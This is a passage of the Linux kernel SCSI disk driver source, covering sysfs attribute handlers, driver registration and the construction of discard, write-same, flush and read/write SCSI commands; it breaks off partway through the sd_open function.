sd_revalidate_disk(struct gendisk *); static void sd_unlock_native_capacity(struct gendisk *disk); static int sd_probe(struct device *); static int sd_remove(struct device *); static void sd_shutdown(struct device *); static int sd_suspend_system(struct device *); static int sd_suspend_runtime(struct device *); static int sd_resume(struct device *); static void sd_rescan(struct device *); static int sd_init_command(struct scsi_cmnd *SCpnt); static void sd_uninit_command(struct scsi_cmnd *SCpnt); static int sd_done(struct scsi_cmnd *); static int sd_eh_action(struct scsi_cmnd *, int); static void sd_read_capacity(struct scsi_disk *sdkp, unsigned char *buffer); static void scsi_disk_release(struct device *cdev); static void sd_print_sense_hdr(struct scsi_disk *, struct scsi_sense_hdr *); static void sd_print_result(const struct scsi_disk *, const char *, int); static DEFINE_SPINLOCK(sd_index_lock); static DEFINE_IDA(sd_index_ida); /* This semaphore is used to mediate the 0->1 reference get in the * face of object destruction (i.e. we can't allow a get on an * object after last put) */ static DEFINE_MUTEX(sd_ref_mutex); static struct kmem_cache *sd_cdb_cache; static mempool_t *sd_cdb_pool; static const char *sd_cache_types[] = { "write through", "none", "write back", "write back, no read (daft)" }; static void sd_set_flush_flag(struct scsi_disk *sdkp) { bool wc = false, fua = false; if (sdkp->WCE) { wc = true; if (sdkp->DPOFUA) fua = true; } blk_queue_write_cache(sdkp->disk->queue, wc, fua); } static ssize_t cache_type_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { int i, ct = -1, rcd, wce, sp; struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; char buffer[64]; char *buffer_data; struct scsi_mode_data data; struct scsi_sense_hdr sshdr; static const char temp[] = "temporary "; int len; if (sdp->type != TYPE_DISK && sdp->type != TYPE_ZBC) /* no cache control on RBC devices; theoretically they * can do it, but there's probably so many exceptions * it's not worth the risk */ return -EINVAL; if (strncmp(buf, temp, sizeof(temp) - 1) == 0) { buf += sizeof(temp) - 1; sdkp->cache_override = 1; } else { sdkp->cache_override = 0; } for (i = 0; i < ARRAY_SIZE(sd_cache_types); i++) { len = strlen(sd_cache_types[i]); if (strncmp(sd_cache_types[i], buf, len) == 0 && buf[len] == '\n') { ct = i; break; } } if (ct < 0) return -EINVAL; rcd = ct & 0x01 ? 1 : 0; wce = (ct & 0x02) && !sdkp->write_prot ? 1 : 0; if (sdkp->cache_override) { sdkp->WCE = wce; sdkp->RCD = rcd; sd_set_flush_flag(sdkp); return count; } if (scsi_mode_sense(sdp, 0x08, 8, buffer, sizeof(buffer), SD_TIMEOUT, SD_MAX_RETRIES, &data, NULL)) return -EINVAL; len = min_t(size_t, sizeof(buffer), data.length - data.header_length - data.block_descriptor_length); buffer_data = buffer + data.header_length + data.block_descriptor_length; buffer_data[2] &= ~0x05; buffer_data[2] |= wce << 2 | rcd; sp = buffer_data[0] & 0x80 ? 1 : 0; buffer_data[0] &= ~0x80; if (scsi_mode_select(sdp, 1, sp, 8, buffer_data, len, SD_TIMEOUT, SD_MAX_RETRIES, &data, &sshdr)) { if (scsi_sense_valid(&sshdr)) sd_print_sense_hdr(sdkp, &sshdr); return -EINVAL; } revalidate_disk(sdkp->disk); return count; } static ssize_t manage_start_stop_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; return snprintf(buf, 20, "%u\n", sdp->manage_start_stop); } static ssize_t manage_start_stop_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; if (!capable(CAP_SYS_ADMIN)) return -EACCES; sdp->manage_start_stop = simple_strtoul(buf, NULL, 10); return count; } static DEVICE_ATTR_RW(manage_start_stop); static ssize_t allow_restart_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 40, "%d\n", sdkp->device->allow_restart); } static ssize_t allow_restart_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; if (!capable(CAP_SYS_ADMIN)) return -EACCES; if (sdp->type != TYPE_DISK && sdp->type != TYPE_ZBC) return -EINVAL; sdp->allow_restart = simple_strtoul(buf, NULL, 10); return count; } static DEVICE_ATTR_RW(allow_restart); static ssize_t cache_type_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); int ct = sdkp->RCD + 2*sdkp->WCE; return snprintf(buf, 40, "%s\n", sd_cache_types[ct]); } static DEVICE_ATTR_RW(cache_type); static ssize_t FUA_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->DPOFUA); } static DEVICE_ATTR_RO(FUA); static ssize_t protection_type_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->protection_type); } static ssize_t protection_type_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); unsigned int val; int err; if (!capable(CAP_SYS_ADMIN)) return -EACCES; err = kstrtouint(buf, 10, &val); if (err) return err; if (val >= 0 && val <= T10_PI_TYPE3_PROTECTION) sdkp->protection_type = val; return count; } static DEVICE_ATTR_RW(protection_type); static ssize_t protection_mode_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; unsigned int dif, dix; dif = scsi_host_dif_capable(sdp->host, sdkp->protection_type); dix = scsi_host_dix_capable(sdp->host, sdkp->protection_type); if (!dix && scsi_host_dix_capable(sdp->host, T10_PI_TYPE0_PROTECTION)) { dif = 0; dix = 1; } if (!dif && !dix) return snprintf(buf, 20, "none\n"); return snprintf(buf, 20, "%s%u\n", dix ? "dix" : "dif", dif); } static DEVICE_ATTR_RO(protection_mode); static ssize_t app_tag_own_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->ATO); } static DEVICE_ATTR_RO(app_tag_own); static ssize_t thin_provisioning_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->lbpme); } static DEVICE_ATTR_RO(thin_provisioning); static const char *lbp_mode[] = { [SD_LBP_FULL] = "full", [SD_LBP_UNMAP] = "unmap", [SD_LBP_WS16] = "writesame_16", [SD_LBP_WS10] = "writesame_10", [SD_LBP_ZERO] = "writesame_zero", [SD_LBP_DISABLE] = "disabled", }; static ssize_t provisioning_mode_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%s\n", lbp_mode[sdkp->provisioning_mode]); } static ssize_t provisioning_mode_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; if (!capable(CAP_SYS_ADMIN)) return -EACCES; if (sd_is_zoned(sdkp)) { sd_config_discard(sdkp, SD_LBP_DISABLE); return count; } if (sdp->type != TYPE_DISK) return -EINVAL; if (!strncmp(buf, lbp_mode[SD_LBP_UNMAP], 20)) sd_config_discard(sdkp, SD_LBP_UNMAP); else if (!strncmp(buf, lbp_mode[SD_LBP_WS16], 20)) sd_config_discard(sdkp, SD_LBP_WS16); else if (!strncmp(buf, lbp_mode[SD_LBP_WS10], 20)) sd_config_discard(sdkp, SD_LBP_WS10); else if (!strncmp(buf, lbp_mode[SD_LBP_ZERO], 20)) sd_config_discard(sdkp, SD_LBP_ZERO); else if (!strncmp(buf, lbp_mode[SD_LBP_DISABLE], 20)) sd_config_discard(sdkp, SD_LBP_DISABLE); else return -EINVAL; return count; } static DEVICE_ATTR_RW(provisioning_mode); static ssize_t max_medium_access_timeouts_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->max_medium_access_timeouts); } static ssize_t max_medium_access_timeouts_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); int err; if (!capable(CAP_SYS_ADMIN)) return -EACCES; err = kstrtouint(buf, 10, &sdkp->max_medium_access_timeouts); return err ? err : count; } static DEVICE_ATTR_RW(max_medium_access_timeouts); static ssize_t max_write_same_blocks_show(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_disk *sdkp = to_scsi_disk(dev); return snprintf(buf, 20, "%u\n", sdkp->max_ws_blocks); } static ssize_t max_write_same_blocks_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_disk *sdkp = to_scsi_disk(dev); struct scsi_device *sdp = sdkp->device; unsigned long max; int err; if (!capable(CAP_SYS_ADMIN)) return -EACCES; if (sdp->type != TYPE_DISK && sdp->type != TYPE_ZBC) return -EINVAL; err = kstrtoul(buf, 10, &max); if (err) return err; if (max == 0) sdp->no_write_same = 1; else if (max <= SD_MAX_WS16_BLOCKS) { sdp->no_write_same = 0; sdkp->max_ws_blocks = max; } sd_config_write_same(sdkp); return count; } static DEVICE_ATTR_RW(max_write_same_blocks); static struct attribute *sd_disk_attrs[] = { &dev_attr_cache_type.attr, &dev_attr_FUA.attr, &dev_attr_allow_restart.attr, &dev_attr_manage_start_stop.attr, &dev_attr_protection_type.attr, &dev_attr_protection_mode.attr, &dev_attr_app_tag_own.attr, &dev_attr_thin_provisioning.attr, &dev_attr_provisioning_mode.attr, &dev_attr_max_write_same_blocks.attr, &dev_attr_max_medium_access_timeouts.attr, NULL, }; ATTRIBUTE_GROUPS(sd_disk); static struct class sd_disk_class = { .name = "scsi_disk", .owner = THIS_MODULE, .dev_release = scsi_disk_release, .dev_groups = sd_disk_groups, }; static const struct dev_pm_ops sd_pm_ops = { .suspend = sd_suspend_system, .resume = sd_resume, .poweroff = sd_suspend_system, .restore = sd_resume, .runtime_suspend = sd_suspend_runtime, .runtime_resume = sd_resume, }; static struct scsi_driver sd_template = { .gendrv = { .name = "sd", .owner = THIS_MODULE, .probe = sd_probe, .remove = sd_remove, .shutdown = sd_shutdown, .pm = &sd_pm_ops, }, .rescan = sd_rescan, .init_command = sd_init_command, .uninit_command = sd_uninit_command, .done = sd_done, .eh_action = sd_eh_action, }; /* * Dummy kobj_map->probe function. * The default ->probe function will call modprobe, which is * pointless as this module is already loaded. */ static struct kobject *sd_default_probe(dev_t devt, int *partno, void *data) { return NULL; } /* * Device no to disk mapping: * * major disc2 disc p1 * |............|.............|....|....| <- dev_t * 31 20 19 8 7 4 3 0 * * Inside a major, we have 16k disks, however mapped non- * contiguously. The first 16 disks are for major0, the next * ones with major1, ... Disk 256 is for major0 again, disk 272 * for major1, ... * As we stay compatible with our numbering scheme, we can reuse * the well-know SCSI majors 8, 65--71, 136--143. */ static int sd_major(int major_idx) { switch (major_idx) { case 0: return SCSI_DISK0_MAJOR; case 1 ... 7: return SCSI_DISK1_MAJOR + major_idx - 1; case 8 ... 15: return SCSI_DISK8_MAJOR + major_idx - 8; default: BUG(); return 0; /* shut up gcc */ } } static struct scsi_disk *scsi_disk_get(struct gendisk *disk) { struct scsi_disk *sdkp = NULL; mutex_lock(&sd_ref_mutex); if (disk->private_data) { sdkp = scsi_disk(disk); if (scsi_device_get(sdkp->device) == 0) get_device(&sdkp->dev); else sdkp = NULL; } mutex_unlock(&sd_ref_mutex); return sdkp; } static void scsi_disk_put(struct scsi_disk *sdkp) { struct scsi_device *sdev = sdkp->device; mutex_lock(&sd_ref_mutex); put_device(&sdkp->dev); scsi_device_put(sdev); mutex_unlock(&sd_ref_mutex); } static unsigned char sd_setup_protect_cmnd(struct scsi_cmnd *scmd, unsigned int dix, unsigned int dif) { struct bio *bio = scmd->request->bio; unsigned int prot_op = sd_prot_op(rq_data_dir(scmd->request), dix, dif); unsigned int protect = 0; if (dix) { /* DIX Type 0, 1, 2, 3 */ if (bio_integrity_flagged(bio, BIP_IP_CHECKSUM)) scmd->prot_flags |= SCSI_PROT_IP_CHECKSUM; if (bio_integrity_flagged(bio, BIP_CTRL_NOCHECK) == false) scmd->prot_flags |= SCSI_PROT_GUARD_CHECK; } if (dif != T10_PI_TYPE3_PROTECTION) { /* DIX/DIF Type 0, 1, 2 */ scmd->prot_flags |= SCSI_PROT_REF_INCREMENT; if (bio_integrity_flagged(bio, BIP_CTRL_NOCHECK) == false) scmd->prot_flags |= SCSI_PROT_REF_CHECK; } if (dif) { /* DIX/DIF Type 1, 2, 3 */ scmd->prot_flags |= SCSI_PROT_TRANSFER_PI; if (bio_integrity_flagged(bio, BIP_DISK_NOCHECK)) protect = 3 << 5; /* Disable target PI checking */ else protect = 1 << 5; /* Enable target PI checking */ } scsi_set_prot_op(scmd, prot_op); scsi_set_prot_type(scmd, dif); scmd->prot_flags &= sd_prot_flag_mask(prot_op); return protect; } static void sd_config_discard(struct scsi_disk *sdkp, unsigned int mode) { struct request_queue *q = sdkp->disk->queue; unsigned int logical_block_size = sdkp->device->sector_size; unsigned int max_blocks = 0; q->limits.discard_zeroes_data = 0; /* * When LBPRZ is reported, discard alignment and granularity * must be fixed to the logical block size. Otherwise the block * layer will drop misaligned portions of the request which can * lead to data corruption. If LBPRZ is not set, we honor the * device preference. */ if (sdkp->lbprz) { q->limits.discard_alignment = 0; q->limits.discard_granularity = logical_block_size; } else { q->limits.discard_alignment = sdkp->unmap_alignment * logical_block_size; q->limits.discard_granularity = max(sdkp->physical_block_size, sdkp->unmap_granularity * logical_block_size); } sdkp->provisioning_mode = mode; switch (mode) { case SD_LBP_DISABLE: blk_queue_max_discard_sectors(q, 0); queue_flag_clear_unlocked(QUEUE_FLAG_DISCARD, q); return; case SD_LBP_UNMAP: max_blocks = min_not_zero(sdkp->max_unmap_blocks, (u32)SD_MAX_WS16_BLOCKS); break; case SD_LBP_WS16: max_blocks = min_not_zero(sdkp->max_ws_blocks, (u32)SD_MAX_WS16_BLOCKS); q->limits.discard_zeroes_data = sdkp->lbprz; break; case SD_LBP_WS10: max_blocks = min_not_zero(sdkp->max_ws_blocks, (u32)SD_MAX_WS10_BLOCKS); q->limits.discard_zeroes_data = sdkp->lbprz; break; case SD_LBP_ZERO: max_blocks = min_not_zero(sdkp->max_ws_blocks, (u32)SD_MAX_WS10_BLOCKS); q->limits.discard_zeroes_data = 1; break; } blk_queue_max_discard_sectors(q, max_blocks * (logical_block_size >> 9)); queue_flag_set_unlocked(QUEUE_FLAG_DISCARD, q); } /** * sd_setup_discard_cmnd - unmap blocks on thinly provisioned device * @sdp: scsi device to operate on * @rq: Request to prepare * * Will issue either UNMAP or WRITE SAME(16) depending on preference * indicated by target device. **/ static int sd_setup_discard_cmnd(struct scsi_cmnd *cmd) { struct request *rq = cmd->request; struct scsi_device *sdp = cmd->device; struct scsi_disk *sdkp = scsi_disk(rq->rq_disk); sector_t sector = blk_rq_pos(rq); unsigned int nr_sectors = blk_rq_sectors(rq); unsigned int len; int ret; char *buf; struct page *page; sector >>= ilog2(sdp->sector_size) - 9; nr_sectors >>= ilog2(sdp->sector_size) - 9; page = alloc_page(GFP_ATOMIC | __GFP_ZERO); if (!page) return BLKPREP_DEFER; switch (sdkp->provisioning_mode) { case SD_LBP_UNMAP: buf = page_address(page); cmd->cmd_len = 10; cmd->cmnd[0] = UNMAP; cmd->cmnd[8] = 24; put_unaligned_be16(6 + 16, &buf[0]); put_unaligned_be16(16, &buf[2]); put_unaligned_be64(sector, &buf[8]); put_unaligned_be32(nr_sectors, &buf[16]); len = 24; break; case SD_LBP_WS16: cmd->cmd_len = 16; cmd->cmnd[0] = WRITE_SAME_16; cmd->cmnd[1] = 0x8; /* UNMAP */ put_unaligned_be64(sector, &cmd->cmnd[2]); put_unaligned_be32(nr_sectors, &cmd->cmnd[10]); len = sdkp->device->sector_size; break; case SD_LBP_WS10: case SD_LBP_ZERO: cmd->cmd_len = 10; cmd->cmnd[0] = WRITE_SAME; if (sdkp->provisioning_mode == SD_LBP_WS10) cmd->cmnd[1] = 0x8; /* UNMAP */ put_unaligned_be32(sector, &cmd->cmnd[2]); put_unaligned_be16(nr_sectors, &cmd->cmnd[7]); len = sdkp->device->sector_size; break; default: ret = BLKPREP_INVALID; goto out; } rq->timeout = SD_TIMEOUT; cmd->transfersize = len; cmd->allowed = SD_MAX_RETRIES; rq->special_vec.bv_page = page; rq->special_vec.bv_offset = 0; rq->special_vec.bv_len = len; rq->rq_flags |= RQF_SPECIAL_PAYLOAD; scsi_req(rq)->resid_len = len; ret = scsi_init_io(cmd); out: if (ret != BLKPREP_OK) __free_page(page); return ret; } static void sd_config_write_same(struct scsi_disk *sdkp) { struct request_queue *q = sdkp->disk->queue; unsigned int logical_block_size = sdkp->device->sector_size; if (sdkp->device->no_write_same) { sdkp->max_ws_blocks = 0; goto out; } /* Some devices can not handle block counts above 0xffff despite * supporting WRITE SAME(16). Consequently we default to 64k * blocks per I/O unless the device explicitly advertises a * bigger limit. */ if (sdkp->max_ws_blocks > SD_MAX_WS10_BLOCKS) sdkp->max_ws_blocks = min_not_zero(sdkp->max_ws_blocks, (u32)SD_MAX_WS16_BLOCKS); else if (sdkp->ws16 || sdkp->ws10 || sdkp->device->no_report_opcodes) sdkp->max_ws_blocks = min_not_zero(sdkp->max_ws_blocks, (u32)SD_MAX_WS10_BLOCKS); else { sdkp->device->no_write_same = 1; sdkp->max_ws_blocks = 0; } out: blk_queue_max_write_same_sectors(q, sdkp->max_ws_blocks * (logical_block_size >> 9)); } /** * sd_setup_write_same_cmnd - write the same data to multiple blocks * @cmd: command to prepare * * Will issue either WRITE SAME(10) or WRITE SAME(16) depending on * preference indicated by target device. **/ static int sd_setup_write_same_cmnd(struct scsi_cmnd *cmd) { struct request *rq = cmd->request; struct scsi_device *sdp = cmd->device; struct scsi_disk *sdkp = scsi_disk(rq->rq_disk); struct bio *bio = rq->bio; sector_t sector = blk_rq_pos(rq); unsigned int nr_sectors = blk_rq_sectors(rq); unsigned int nr_bytes = blk_rq_bytes(rq); int ret; if (sdkp->device->no_write_same) return BLKPREP_INVALID; BUG_ON(bio_offset(bio) || bio_iovec(bio).bv_len != sdp->sector_size); if (sd_is_zoned(sdkp)) { ret = sd_zbc_setup_write_cmnd(cmd); if (ret != BLKPREP_OK) return ret; } sector >>= ilog2(sdp->sector_size) - 9; nr_sectors >>= ilog2(sdp->sector_size) - 9; rq->timeout = SD_WRITE_SAME_TIMEOUT; if (sdkp->ws16 || sector > 0xffffffff || nr_sectors > 0xffff) { cmd->cmd_len = 16; cmd->cmnd[0] = WRITE_SAME_16; put_unaligned_be64(sector, &cmd->cmnd[2]); put_unaligned_be32(nr_sectors, &cmd->cmnd[10]); } else { cmd->cmd_len = 10; cmd->cmnd[0] = WRITE_SAME; put_unaligned_be32(sector, &cmd->cmnd[2]); put_unaligned_be16(nr_sectors, &cmd->cmnd[7]); } cmd->transfersize = sdp->sector_size; cmd->allowed = SD_MAX_RETRIES; /* * For WRITE SAME the data transferred via the DATA OUT buffer is * different from the amount of data actually written to the target. * * We set up __data_len to the amount of data transferred via the * DATA OUT buffer so that blk_rq_map_sg sets up the proper S/G list * to transfer a single sector of data first, but then reset it to * the amount of data to be written right after so that the I/O path * knows how much to actually write. */ rq->__data_len = sdp->sector_size; ret = scsi_init_io(cmd); rq->__data_len = nr_bytes; return ret; } static int sd_setup_flush_cmnd(struct scsi_cmnd *cmd) { struct request *rq = cmd->request; /* flush requests don't perform I/O, zero the S/G table */ memset(&cmd->sdb, 0, sizeof(cmd->sdb)); cmd->cmnd[0] = SYNCHRONIZE_CACHE; cmd->cmd_len = 10; cmd->transfersize = 0; cmd->allowed = SD_MAX_RETRIES; rq->timeout = rq->q->rq_timeout * SD_FLUSH_TIMEOUT_MULTIPLIER; return BLKPREP_OK; } static int sd_setup_read_write_cmnd(struct scsi_cmnd *SCpnt) { struct request *rq = SCpnt->request; struct scsi_device *sdp = SCpnt->device; struct gendisk *disk = rq->rq_disk; struct scsi_disk *sdkp = scsi_disk(disk); sector_t block = blk_rq_pos(rq); sector_t threshold; unsigned int this_count = blk_rq_sectors(rq); unsigned int dif, dix; bool zoned_write = sd_is_zoned(sdkp) && rq_data_dir(rq) == WRITE; int ret; unsigned char protect; if (zoned_write) { ret = sd_zbc_setup_write_cmnd(SCpnt); if (ret != BLKPREP_OK) return ret; } ret = scsi_init_io(SCpnt); if (ret != BLKPREP_OK) goto out; SCpnt = rq->special; /* from here on until we're complete, any goto out * is used for a killable error condition */ ret = BLKPREP_KILL; SCSI_LOG_HLQUEUE(1, scmd_printk(KERN_INFO, SCpnt, "%s: block=%llu, count=%d\n", __func__, (unsigned long long)block, this_count)); if (!sdp || !scsi_device_online(sdp) || block + blk_rq_sectors(rq) > get_capacity(disk)) { SCSI_LOG_HLQUEUE(2, scmd_printk(KERN_INFO, SCpnt, "Finishing %u sectors\n", blk_rq_sectors(rq))); SCSI_LOG_HLQUEUE(2, scmd_printk(KERN_INFO, SCpnt, "Retry with 0x%p\n", SCpnt)); goto out; } if (sdp->changed) { /* * quietly refuse to do anything to a changed disc until * the changed bit has been reset */ /* printk("SCSI disk has been changed or is not present. Prohibiting further I/O.\n"); */ goto out; } /* * Some SD card readers can't handle multi-sector accesses which touch * the last one or two hardware sectors. Split accesses as needed. */ threshold = get_capacity(disk) - SD_LAST_BUGGY_SECTORS * (sdp->sector_size / 512); if (unlikely(sdp->last_sector_bug && block + this_count > threshold)) { if (block < threshold) { /* Access up to the threshold but not beyond */ this_count = threshold - block; } else { /* Access only a single hardware sector */ this_count = sdp->sector_size / 512; } } SCSI_LOG_HLQUEUE(2, scmd_printk(KERN_INFO, SCpnt, "block=%llu\n", (unsigned long long)block)); /* * If we have a 1K hardware sectorsize, prevent access to single * 512 byte sectors. In theory we could handle this - in fact * the scsi cdrom driver must be able to handle this because * we typically use 1K blocksizes, and cdroms typically have * 2K hardware sectorsizes. Of course, things are simpler * with the cdrom, since it is read-only. For performance * reasons, the filesystems should be able to handle this * and not force the scsi disk driver to use bounce buffers * for this. */ if (sdp->sector_size == 1024) { if ((block & 1) || (blk_rq_sectors(rq) & 1)) { scmd_printk(KERN_ERR, SCpnt, "Bad block number requested\n"); goto out; } else { block = block >> 1; this_count = this_count >> 1; } } if (sdp->sector_size == 2048) { if ((block & 3) || (blk_rq_sectors(rq) & 3)) { scmd_printk(KERN_ERR, SCpnt, "Bad block number requested\n"); goto out; } else { block = block >> 2; this_count = this_count >> 2; } } if (sdp->sector_size == 4096) { if ((block & 7) || (blk_rq_sectors(rq) & 7)) { scmd_printk(KERN_ERR, SCpnt, "Bad block number requested\n"); goto out; } else { block = block >> 3; this_count = this_count >> 3; } } if (rq_data_dir(rq) == WRITE) { SCpnt->cmnd[0] = WRITE_6; if (blk_integrity_rq(rq)) sd_dif_prepare(SCpnt); } else if (rq_data_dir(rq) == READ) { SCpnt->cmnd[0] = READ_6; } else { scmd_printk(KERN_ERR, SCpnt, "Unknown command %d\n", req_op(rq)); goto out; } SCSI_LOG_HLQUEUE(2, scmd_printk(KERN_INFO, SCpnt, "%s %d/%u 512 byte blocks.\n", (rq_data_dir(rq) == WRITE) ? "writing" : "reading", this_count, blk_rq_sectors(rq))); dix = scsi_prot_sg_count(SCpnt); dif = scsi_host_dif_capable(SCpnt->device->host, sdkp->protection_type); if (dif || dix) protect = sd_setup_protect_cmnd(SCpnt, dix, dif); else protect = 0; if (protect && sdkp->protection_type == T10_PI_TYPE2_PROTECTION) { SCpnt->cmnd = mempool_alloc(sd_cdb_pool, GFP_ATOMIC); if (unlikely(SCpnt->cmnd == NULL)) { ret = BLKPREP_DEFER; goto out; } SCpnt->cmd_len = SD_EXT_CDB_SIZE; memset(SCpnt->cmnd, 0, SCpnt->cmd_len); SCpnt->cmnd[0] = VARIABLE_LENGTH_CMD; SCpnt->cmnd[7] = 0x18; SCpnt->cmnd[9] = (rq_data_dir(rq) == READ) ? READ_32 : WRITE_32; SCpnt->cmnd[10] = protect | ((rq->cmd_flags & REQ_FUA) ? 0x8 : 0); /* LBA */ SCpnt->cmnd[12] = sizeof(block) > 4 ? (unsigned char) (block >> 56) & 0xff : 0; SCpnt->cmnd[13] = sizeof(block) > 4 ? (unsigned char) (block >> 48) & 0xff : 0; SCpnt->cmnd[14] = sizeof(block) > 4 ? (unsigned char) (block >> 40) & 0xff : 0; SCpnt->cmnd[15] = sizeof(block) > 4 ? (unsigned char) (block >> 32) & 0xff : 0; SCpnt->cmnd[16] = (unsigned char) (block >> 24) & 0xff; SCpnt->cmnd[17] = (unsigned char) (block >> 16) & 0xff; SCpnt->cmnd[18] = (unsigned char) (block >> 8) & 0xff; SCpnt->cmnd[19] = (unsigned char) block & 0xff; /* Expected Indirect LBA */ SCpnt->cmnd[20] = (unsigned char) (block >> 24) & 0xff; SCpnt->cmnd[21] = (unsigned char) (block >> 16) & 0xff; SCpnt->cmnd[22] = (unsigned char) (block >> 8) & 0xff; SCpnt->cmnd[23] = (unsigned char) block & 0xff; /* Transfer length */ SCpnt->cmnd[28] = (unsigned char) (this_count >> 24) & 0xff; SCpnt->cmnd[29] = (unsigned char) (this_count >> 16) & 0xff; SCpnt->cmnd[30] = (unsigned char) (this_count >> 8) & 0xff; SCpnt->cmnd[31] = (unsigned char) this_count & 0xff; } else if (sdp->use_16_for_rw || (this_count > 0xffff)) { SCpnt->cmnd[0] += READ_16 - READ_6; SCpnt->cmnd[1] = protect | ((rq->cmd_flags & REQ_FUA) ? 0x8 : 0); SCpnt->cmnd[2] = sizeof(block) > 4 ? (unsigned char) (block >> 56) & 0xff : 0; SCpnt->cmnd[3] = sizeof(block) > 4 ? (unsigned char) (block >> 48) & 0xff : 0; SCpnt->cmnd[4] = sizeof(block) > 4 ? (unsigned char) (block >> 40) & 0xff : 0; SCpnt->cmnd[5] = sizeof(block) > 4 ? (unsigned char) (block >> 32) & 0xff : 0; SCpnt->cmnd[6] = (unsigned char) (block >> 24) & 0xff; SCpnt->cmnd[7] = (unsigned char) (block >> 16) & 0xff; SCpnt->cmnd[8] = (unsigned char) (block >> 8) & 0xff; SCpnt->cmnd[9] = (unsigned char) block & 0xff; SCpnt->cmnd[10] = (unsigned char) (this_count >> 24) & 0xff; SCpnt->cmnd[11] = (unsigned char) (this_count >> 16) & 0xff; SCpnt->cmnd[12] = (unsigned char) (this_count >> 8) & 0xff; SCpnt->cmnd[13] = (unsigned char) this_count & 0xff; SCpnt->cmnd[14] = SCpnt->cmnd[15] = 0; } else if ((this_count > 0xff) || (block > 0x1fffff) || scsi_device_protection(SCpnt->device) || SCpnt->device->use_10_for_rw) { SCpnt->cmnd[0] += READ_10 - READ_6; SCpnt->cmnd[1] = protect | ((rq->cmd_flags & REQ_FUA) ? 0x8 : 0); SCpnt->cmnd[2] = (unsigned char) (block >> 24) & 0xff; SCpnt->cmnd[3] = (unsigned char) (block >> 16) & 0xff; SCpnt->cmnd[4] = (unsigned char) (block >> 8) & 0xff; SCpnt->cmnd[5] = (unsigned char) block & 0xff; SCpnt->cmnd[6] = SCpnt->cmnd[9] = 0; SCpnt->cmnd[7] = (unsigned char) (this_count >> 8) & 0xff; SCpnt->cmnd[8] = (unsigned char) this_count & 0xff; } else { if (unlikely(rq->cmd_flags & REQ_FUA)) { /* * This happens only if this drive failed * 10byte rw command with ILLEGAL_REQUEST * during operation and thus turned off * use_10_for_rw. */ scmd_printk(KERN_ERR, SCpnt, "FUA write on READ/WRITE(6) drive\n"); goto out; } SCpnt->cmnd[1] |= (unsigned char) ((block >> 16) & 0x1f); SCpnt->cmnd[2] = (unsigned char) ((block >> 8) & 0xff); SCpnt->cmnd[3] = (unsigned char) block & 0xff; SCpnt->cmnd[4] = (unsigned char) this_count; SCpnt->cmnd[5] = 0; } SCpnt->sdb.length = this_count * sdp->sector_size; /* * We shouldn't disconnect in the middle of a sector, so with a dumb * host adapter, it's safe to assume that we can at least transfer * this many bytes between each connect / disconnect. */ SCpnt->transfersize = sdp->sector_size; SCpnt->underflow = this_count << 9; SCpnt->allowed = SD_MAX_RETRIES; /* * This indicates that the command is ready from our end to be * queued. */ ret = BLKPREP_OK; out: if (zoned_write && ret != BLKPREP_OK) sd_zbc_cancel_write_cmnd(SCpnt); return ret; } static int sd_init_command(struct scsi_cmnd *cmd) { struct request *rq = cmd->request; switch (req_op(rq)) { case REQ_OP_DISCARD: return sd_setup_discard_cmnd(cmd); case REQ_OP_WRITE_SAME: return sd_setup_write_same_cmnd(cmd); case REQ_OP_FLUSH: return sd_setup_flush_cmnd(cmd); case REQ_OP_READ: case REQ_OP_WRITE: return sd_setup_read_write_cmnd(cmd); case REQ_OP_ZONE_REPORT: return sd_zbc_setup_report_cmnd(cmd); case REQ_OP_ZONE_RESET: return sd_zbc_setup_reset_cmnd(cmd); default: BUG(); } } static void sd_uninit_command(struct scsi_cmnd *SCpnt) { struct request *rq = SCpnt->request; if (rq->rq_flags & RQF_SPECIAL_PAYLOAD) __free_page(rq->special_vec.bv_page); if (SCpnt->cmnd != scsi_req(rq)->cmd) { mempool_free(SCpnt->cmnd, sd_cdb_pool); SCpnt->cmnd = NULL; SCpnt->cmd_len = 0; } } /** * sd_open - open a scsi disk device * @inode: only i_rdev member may be used * @filp: only f_mode and f_flags may be used * * Returns 0 if successful. Returns a negated errno value in case * of error. * * Note: This can be called from a user context (e.g. fsck(1) ) * or from within the kernel (e.g. as a result of a mount(1) ). * In the latter case @inode and @filp carry an abridged amount * of information as noted above. * * Locking: called with bdev->bd_mutex held. **/ static int sd_open(struct block_device *bdev, fmode_t 